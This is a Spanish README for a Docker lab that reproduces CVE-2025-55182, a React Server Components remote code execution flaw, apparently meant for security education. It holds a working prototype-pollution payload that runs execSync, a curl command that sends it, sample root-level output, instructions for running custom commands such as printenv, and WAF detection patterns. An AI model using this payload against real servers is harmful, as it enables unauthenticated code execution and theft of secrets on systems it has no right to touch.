fankh/cve-2025-55182-test-lab-windowsLaboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad.
⚠️ Advertencia: Contiene una vulnerabilidad de ejecución remota de código (RCE) que funciona realmente.
Entorno de prueba en contenedor para la vulnerabilidad CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Puntuación CVSS: 10.0 (CRÍTICA)
Impacto: Ejecución remota de código (RCE)
Requisitos de autenticación: Ninguno
Vector de ataque: Red
$1:__proto__:then$B)child_process// Estructura del payload de ataque
{
"then": "$1:__proto__:then", // Contaminación de Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Desencadenar deserialización de Blob
"_response": {
"_prefix": "código_malicioso", // Código a ejecutar
"_formData": {
"get": "$1:constructor:constructor" // Acceso al constructor de funciones
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Debe esperar hasta que todos los contenedores estén en estado healthy (aproximadamente 1-2 minutos).
Windows (PowerShell):
# Método 1: Usar script de PowerShell (recomendado)
.\tests\exploit-working.ps1
# Método 2: Ejecutar directamente con Node.js
node tests\exploit-working.js
Puede ver los resultados de la ejecución de comandos en los logs del servidor:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecomendadoWindows:
# Script de PowerShell (recomendado)
.\tests\exploit-working.ps1
# O ejecutar directamente con Node.js
node tests\exploit-working.js
Contenido de la ejecución:
Comandos probados:
whoami - Usuario actual (root)hostname - Nombre del host del contenedorpwd - Directorio de trabajo (/app)id - Información completa del usuariouname -a - Información del sistemanode --version - Versión de Node.js# Crear archivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Enviar el ataque
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Verificar logs de ejecución
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Puede modificar el script de ataque para ejecutar los comandos que desee:
// En el archivo exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Listado del directorio de la aplicación' },
{ name: 'env', cmd: 'printenv', desc: 'Mostrar variables de entorno' }
]
| Puerto | Servicio | Versión de React | Propósito | Estado del WAF |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnerable - Prueba CVE-2025-55182 | ❌ Sin protección |
| 3001 | patched-app | 19.1.2 | Seguro - Verificación del parche | ✅ Parcheado |
| 8080 | nginx → vulnerable | 19.1.0 | Prueba WAF (NGINX) | ⚠️ Limitado (sin inspección de body) |
| 8081 | apache → vulnerable | 19.1.0 | Prueba WAF (ModSecurity) | ⚠️ Limitado (respuesta 405) |
| 8082 | nginx → patched | 19.1.2 | Prueba de doble protección | ✅ Parcheado |
# Ejecutar ataque funcional
node tests/exploit-working.js
# Resultado esperado: Ejecución de comandos exitosa
# Salida: Información del usuario, detalles del sistema, etc.
Windows (PowerShell):
# Usar script de PowerShell
.\tests\exploit-working.ps1 -Port 3001
Resultado esperado: Ataque fallido (React 19.1.2 bloquea el ataque)
Windows (PowerShell):
# Intentar ataque a través del WAF NGINX
.\tests\exploit-working.ps1 -Port 8080
Resultado esperado: Bloqueado por las reglas WAF
Ubicación: nginx/nginx.conf
Patrones de detección:
__proto__, constructor:constructor$X:__proto__, referencia $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorComportamiento de bloqueo:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}